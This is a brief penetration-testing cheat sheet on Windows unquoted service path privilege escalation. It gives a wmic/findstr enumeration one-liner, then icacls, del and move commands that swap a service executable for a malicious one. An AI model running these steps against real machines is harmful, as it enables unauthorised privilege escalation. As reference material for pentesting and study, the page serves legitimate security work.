Unquoted paths
Enumeration
wmic
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """Exploitation
Path hijack
Executable replacement
icacls "<path to program's folder>"
cd <folder>
del /f <filename>.exe
move <path to malicious file>.exe ./<filename>.exeBoilerplate C file
Last updated